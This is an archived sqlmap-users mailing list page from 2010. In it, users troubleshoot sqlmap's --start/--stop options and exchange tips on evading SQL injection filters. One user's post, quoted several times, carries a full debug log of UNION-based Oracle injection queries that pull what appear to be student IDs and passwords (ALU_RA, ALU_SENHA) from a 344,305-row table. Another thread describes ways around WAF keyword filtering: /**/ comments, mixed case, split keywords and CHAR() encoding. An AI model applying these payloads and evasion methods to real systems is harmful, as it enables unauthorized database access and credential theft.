Mirvoslav: Don't work even passing --start 1 or --start 3 or anything in a table with X rows.. i don't know if this is a oracle error or other thing.. sqlmap simply ignores the parameter... tested and re-tested... if the table has 100 rows and I pass --start to him to read until the tenth, he will read them all... On Mon, Apr 26, 2010 at 6:27 AM, Bernardo Damele A. G. < > ber...@gm...> wrote: > >> Did you try without providing --start and --stop? Let me know please >> if it correctly dump entries or not. >> >> Bernardo >> >> >> On Sat, Apr 24, 2010 at 04:02, David Guimaraes <sk...@gm...> wrote: >> > Syntax that had problems: >> > >> > $ ./sqlmap.py -u "http://www.vuln.com/vuln.asp?a=000408092&b=" -p a >> > --union-use -T ALU_ALUNOS --dump -C "ALU_RA,ALU_SENHA" --start 0 --stop >> 4 -v >> > 2 >> > >> > sqlmap/0.9-dev - automatic SQL injection and database takeover tool >> > http://sqlmap.sourceforge.net >> > >> > [*] starting at: 22:52:50 >> > >> > [22:52:50] [DEBUG] initializing the configuration >> > [22:52:50] [DEBUG] initializing the knowledge base >> > [22:52:50] [DEBUG] cleaning up configuration parameters >> > [22:52:50] [DEBUG] setting the HTTP timeout >> > [22:52:50] [DEBUG] setting the HTTP method to GET >> > [22:52:50] [DEBUG] creating HTTP requests opener object >> > [22:52:50] [DEBUG] parsing XML queries file >> > [22:52:50] [INFO] using '/path/session' as session file >> > [22:52:50] [INFO] resuming injection point 'GET' from session file >> > [22:52:50] [INFO] resuming injection parameter 'a' from session file >> > [22:52:50] [INFO] resuming injection type 'stringsingle' from session >> file >> > [22:52:50] [INFO] resuming 0 number of parenthesis from session file >> > [22:52:50] [INFO] resuming back-end DBMS 'oracle' from session file >> > [22:52:50] [INFO] resuming union comment '--' from session file >> > [22:52:50] [INFO] resuming union count 15 from session file >> > [22:52:50] [INFO] resuming union position 1 from session file >> > [22:52:50] [INFO] resuming union false condition 1 from session file >> > [22:52:50] [INFO] testing connection to the target url >> > [22:52:50] [DEBUG] got HTTP error code: 500 >> > [22:52:50] [WARNING] the testable parameter 'a' you provided is not into >> the >> > Cookie >> > [22:52:50] [INFO] testing for parenthesis on injectable parameter >> > [22:52:50] [DEBUG] skipping test for MySQL >> > [22:52:50] [INFO] the back-end DBMS is Oracle >> > web server operating system: Windows 2000 >> > web application technology: ASP.NET <http://asp.net/>, Microsoft IIS >> 6.0, ASP >> > back-end DBMS: Oracle >> > >> > [22:52:50] [WARNING] on Oracle it is only possible to enumerate if you >> > provide a TABLESPACE_NAME as database name. sqlmap is going to use >> 'USERS' >> > as database name >> > [22:52:50] [INFO] fetching columns 'ALU_RA, ALU_SENHA' entries for table >> > 'ALU_ALUNOS' on database 'USERS' >> > [22:52:50] [INFO] the SQL query provided has more than a field. sqlmap >> will >> > now unpack it into distinct queries to be able to retrieve the output >> even >> > if we are in front of a partial inband sql injection >> > [22:52:50] [INFO] read from file '/path': 344305 >> > [22:52:50] [DEBUG] query: ' UNION ALL SELECT NULL, >> > >> CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(COUNT(ALU_RA) >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > ALU_ALUNOS-- AND 'RFOj'='RFOj >> > [22:52:51] [DEBUG] performed 1 queries in 0 seconds >> > [22:52:51] [INFO] the SQL query provided returns 344305 entries >> > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=1-- >> > AND 'qGli'='qGli >> > [22:52:51] [DEBUG] performed 2 queries in 0 seconds >> > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=2-- >> > AND 'EXyf'='EXyf >> > [22:52:53] [DEBUG] performed 3 queries in 1 seconds >> > [22:52:53] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=3-- >> > AND 'CLyw'='CLyw >> > [22:52:56] [DEBUG] performed 4 queries in 2 seconds >> > [22:52:56] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=4-- >> > AND 'nHQn'='nHQn >> > [22:52:57] [DEBUG] performed 5 queries in 0 seconds >> > [22:52:57] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=5-- >> > AND 'iNmX'='iNmX >> > [22:52:58] [DEBUG] performed 6 queries in 1 seconds >> > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=6-- >> > AND 'mVQM'='mVQM >> > [22:52:58] [DEBUG] performed 7 queries in 0 seconds >> > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=7-- >> > AND 'FuqF'='FuqF >> > [22:52:59] [DEBUG] performed 8 queries in 0 seconds >> > [22:52:59] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=8-- >> > AND 'utPd'='utPd >> > [22:53:01] [DEBUG] performed 9 queries in 2 seconds >> > [22:53:01] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=9-- >> > AND 'ilBw'='ilBw >> > [22:53:03] [DEBUG] performed 10 queries in 2 seconds >> > [22:53:03] [DEBUG] query: ' UNION ALL SELECT NULL, >> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >> AS >> > VARCHAR(4000)), >> > >> CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >> > AS VARCHAR(4000)), >> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, >> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >> FROM >> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >> LIMIT=10-- >> > AND 'YxAK'='YxAK >> > ^C >> > [22:53:04] [ERROR] user aborted >> > >> > [*] shutting down at: 22:53:04 >> > >> > >> > >> > As you can see, it will not stop consultation until the fourth, ignoring >> > parameters passed in ("--start" and "--stop"). >> > >> > I gave ctrl + c in the tenth query. >> > >> > Am I doing something wrong or is it anyway? >> > >> > $ svn info >> > Path: . >> > URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap >> > Repository Root: https://svn.sqlmap.org/sqlmap >> > Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb >> > Revision: 1588 >> > Node Kind: directory >> > Schedule: normal >> > Last Changed Author: inquisb >> > Last Changed Rev: 1588 >> > Last Changed Date: 2010-04-23 13:34:20 -0300 (Fri, 23 Apr 2010) >> > >> > -- >> > David Gomes Guimarães >> > >> > >> ------------------------------------------------------------------------------ >> > >> > _______________________________________________ >> > sqlmap-users mailing list >> > sql...@li... >> > https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> > >> > >> >> >> >> -- >> Bernardo Damele A. G. >> >> E-mail / Jabber: bernardo.damele (at) gmail.com >> Mobile: +447788962949 (UK 07788962949) >> PGP Key ID: 0x05F5A30F >> > > > > -- > David Gomes Guimarães > -- David Gomes Guimarães |
|
From: Miroslav S. <mir...@gm...> - 2010-04-26 08:59:57
|
you've provided --start 0, while it needs to be >0. we'll add the proper warning for this into runtime. kind regards. On Sat, Apr 24, 2010 at 4:02 AM, David Guimaraes <sk...@gm...> wrote: > Syntax that had problems: > > $ ./sqlmap.py -u "http://www.vuln.com/vuln.asp?a=000408092&b=" -p a > --union-use -T ALU_ALUNOS --dump -C "ALU_RA,ALU_SENHA" --start 0 --stop 4 -v > 2 > > sqlmap/0.9-dev - automatic SQL injection and database takeover tool > http://sqlmap.sourceforge.net > > [*] starting at: 22:52:50 > > [22:52:50] [DEBUG] initializing the configuration > [22:52:50] [DEBUG] initializing the knowledge base > [22:52:50] [DEBUG] cleaning up configuration parameters > [22:52:50] [DEBUG] setting the HTTP timeout > [22:52:50] [DEBUG] setting the HTTP method to GET > [22:52:50] [DEBUG] creating HTTP requests opener object > [22:52:50] [DEBUG] parsing XML queries file > [22:52:50] [INFO] using '/path/session' as session file > [22:52:50] [INFO] resuming injection point 'GET' from session file > [22:52:50] [INFO] resuming injection parameter 'a' from session file > [22:52:50] [INFO] resuming injection type 'stringsingle' from session file > [22:52:50] [INFO] resuming 0 number of parenthesis from session file > [22:52:50] [INFO] resuming back-end DBMS 'oracle' from session file > [22:52:50] [INFO] resuming union comment '--' from session file > [22:52:50] [INFO] resuming union count 15 from session file > [22:52:50] [INFO] resuming union position 1 from session file > [22:52:50] [INFO] resuming union false condition 1 from session file > [22:52:50] [INFO] testing connection to the target url > [22:52:50] [DEBUG] got HTTP error code: 500 > [22:52:50] [WARNING] the testable parameter 'a' you provided is not into the > Cookie > [22:52:50] [INFO] testing for parenthesis on injectable parameter > [22:52:50] [DEBUG] skipping test for MySQL > [22:52:50] [INFO] the back-end DBMS is Oracle > web server operating system: Windows 2000 > web application technology: ASP.NET, Microsoft IIS 6.0, ASP > back-end DBMS: Oracle > > [22:52:50] [WARNING] on Oracle it is only possible to enumerate if you > provide a TABLESPACE_NAME as database name. sqlmap is going to use 'USERS' > as database name > [22:52:50] [INFO] fetching columns 'ALU_RA, ALU_SENHA' entries for table > 'ALU_ALUNOS' on database 'USERS' > [22:52:50] [INFO] the SQL query provided has more than a field. sqlmap will > now unpack it into distinct queries to be able to retrieve the output even > if we are in front of a partial inband sql injection > [22:52:50] [INFO] read from file '/path': 344305 > [22:52:50] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(COUNT(ALU_RA) > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > ALU_ALUNOS-- AND 'RFOj'='RFOj > [22:52:51] [DEBUG] performed 1 queries in 0 seconds > [22:52:51] [INFO] the SQL query provided returns 344305 entries > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=1-- > AND 'qGli'='qGli > [22:52:51] [DEBUG] performed 2 queries in 0 seconds > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=2-- > AND 'EXyf'='EXyf > [22:52:53] [DEBUG] performed 3 queries in 1 seconds > [22:52:53] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=3-- > AND 'CLyw'='CLyw > [22:52:56] [DEBUG] performed 4 queries in 2 seconds > [22:52:56] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=4-- > AND 'nHQn'='nHQn > [22:52:57] [DEBUG] performed 5 queries in 0 seconds > [22:52:57] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=5-- > AND 'iNmX'='iNmX > [22:52:58] [DEBUG] performed 6 queries in 1 seconds > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=6-- > AND 'mVQM'='mVQM > [22:52:58] [DEBUG] performed 7 queries in 0 seconds > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=7-- > AND 'FuqF'='FuqF > [22:52:59] [DEBUG] performed 8 queries in 0 seconds > [22:52:59] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=8-- > AND 'utPd'='utPd > [22:53:01] [DEBUG] performed 9 queries in 2 seconds > [22:53:01] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=9-- > AND 'ilBw'='ilBw > [22:53:03] [DEBUG] performed 10 queries in 2 seconds > [22:53:03] [DEBUG] query: ' UNION ALL SELECT NULL, > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS > VARCHAR(4000)), > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA > AS VARCHAR(4000)), > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE LIMIT=10-- > AND 'YxAK'='YxAK > ^C > [22:53:04] [ERROR] user aborted > > [*] shutting down at: 22:53:04 > > > > As you can see, it will not stop consultation until the fourth, ignoring > parameters passed in ("--start" and "--stop"). > > I gave ctrl + c in the tenth query. > > Am I doing something wrong or is it anyway? > > $ svn info > Path: . > URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap > Repository Root: https://svn.sqlmap.org/sqlmap > Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb > Revision: 1588 > Node Kind: directory > Schedule: normal > Last Changed Author: inquisb > Last Changed Rev: 1588 > Last Changed Date: 2010-04-23 13:34:20 -0300 (Fri, 23 Apr 2010) > > -- > David Gomes Guimarães > > ------------------------------------------------------------------------------ > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: Malek T. <pag...@gm...> - 2010-04-25 22:31:26
|
hello type of filter is: the server is filtering for something like information_schema.tables its filtered @@version() is filtered but version() is not user() is not filtered i could get the user name and the db name database() is not filtered select is filtered but i could bypass it by puting the comment /**/ before and after select and it work but i couldnt get the table names cuz of filtering information_schema.tables i couldnt recognize how this filter works so is there any way to bypass something like information_schema.tables i used CHAR() like CHAR(69,6e,66,6f,72,6d,61,74,69,6f,6e,5f,73,63,68,65,6d,61,2e,74,61,62,6c,65,73) but it didnt work too 2010/4/22 Ignacio Hernández <nac...@gm...> > Some times you can bypass some bad implemented IDS/WAF who looks for > specific words like "union", "select" or "from" like David sais in other > ways, for example: > http://www.site.com/vuln.php?id=323/**/union/**/all/**/select/**/... > (replacing spaces by /**/) > or: > http://www.site.com/vuln.php?id=323 UnIoN aLl SeLeCt... (randomly > uppercase/lowercase key words, some ids/waf only looks for "union" or > "UNION" but not for "UnIoN") > > Also i think the sqlmap developpers are working on more sophisticated > bypass techniques. > > 2010/4/22 David Guimaraes <sk...@gm...> > > What type of filter is used? It removes certain words and executes the >> query, or simply does not run anything at all? >> >> I've came across a filter that removed certain words of parameters passed >> by users, such as UNION, SELECT, DROP, ALTER, UPDATE, and comments like "--" >> or "/*". >> >> To get around, I used this: >> >> http://www.site.com/vuln.php?id=323 UN--ION A--LL SELE--CT 1,2,3 FRO--M >> table >> >> The query was filtered 1x and resulted in the following expression: >> >> http://www.site.com/vuln.php?id=323 UNION ALL SELECT 1,2,3 FROM table >> >> >> Hope this help. =) >> >> >> On Thu, Apr 22, 2010 at 2:01 PM, Pagera <pag...@gm...> wrote: >> >>> hello >>> >>> is there anyway to avoid server filter ? like filtering union or select >>> in the URL? >>> >>> coz sqlmap seems doesnt work when there is a filtering >>> >>> thankx >>> >>> >>> ------------------------------------------------------------------------------ >>> _______________________________________________ >>> sqlmap-users mailing list >>> sql...@li... >>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >>> >> >> >> >> -- >> David Gomes Guimarães >> >> >> ------------------------------------------------------------------------------ >> >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> >> > |
|
From: David G. <sk...@gm...> - 2010-04-24 02:02:30
|
Syntax that had problems: $ ./sqlmap.py -u "http://www.vuln.com/vuln.asp?a=000408092&b=" -p a --union-use -T ALU_ALUNOS --dump -C "ALU_RA,ALU_SENHA" --start 0 --stop 4 -v 2 sqlmap/0.9-dev - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 22:52:50 [22:52:50] [DEBUG] initializing the configuration [22:52:50] [DEBUG] initializing the knowledge base [22:52:50] [DEBUG] cleaning up configuration parameters [22:52:50] [DEBUG] setting the HTTP timeout [22:52:50] [DEBUG] setting the HTTP method to GET [22:52:50] [DEBUG] creating HTTP requests opener object [22:52:50] [DEBUG] parsing XML queries file [22:52:50] [INFO] using '/path/session' as session file [22:52:50] [INFO] resuming injection point 'GET' from session file [22:52:50] [INFO] resuming injection parameter 'a' from session file [22:52:50] [INFO] resuming injection type 'stringsingle' from session file [22:52:50] [INFO] resuming 0 number of parenthesis from session file [22:52:50] [INFO] resuming back-end DBMS 'oracle' from session file [22:52:50] [INFO] resuming union comment '--' from session file [22:52:50] [INFO] resuming union count 15 from session file [22:52:50] [INFO] resuming union position 1 from session file [22:52:50] [INFO] resuming union false condition 1 from session file [22:52:50] [INFO] testing connection to the target url [22:52:50] [DEBUG] got HTTP error code: 500 [22:52:50] [WARNING] the testable parameter 'a' you provided is not into the Cookie [22:52:50] [INFO] testing for parenthesis on injectable parameter [22:52:50] [DEBUG] skipping test for MySQL [22:52:50] [INFO] the back-end DBMS is Oracle web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Oracle [22:52:50] [WARNING] on Oracle it is only possible to enumerate if you provide a TABLESPACE_NAME as database name. sqlmap is going to use 'USERS' as database name [22:52:50] [INFO] fetching columns 'ALU_RA, ALU_SENHA' entries for table 'ALU_ALUNOS' on database 'USERS' [22:52:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are in front of a partial inband sql injection [22:52:50] [INFO] read from file '/path': 344305 [22:52:50] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(COUNT(ALU_RA) AS VARCHAR(4000)), CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM ALU_ALUNOS-- AND 'RFOj'='RFOj [22:52:51] [DEBUG] performed 1 queries in 0 seconds [22:52:51] [INFO] the SQL query provided returns 344305 entries [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA AS VARCHAR(4000)), 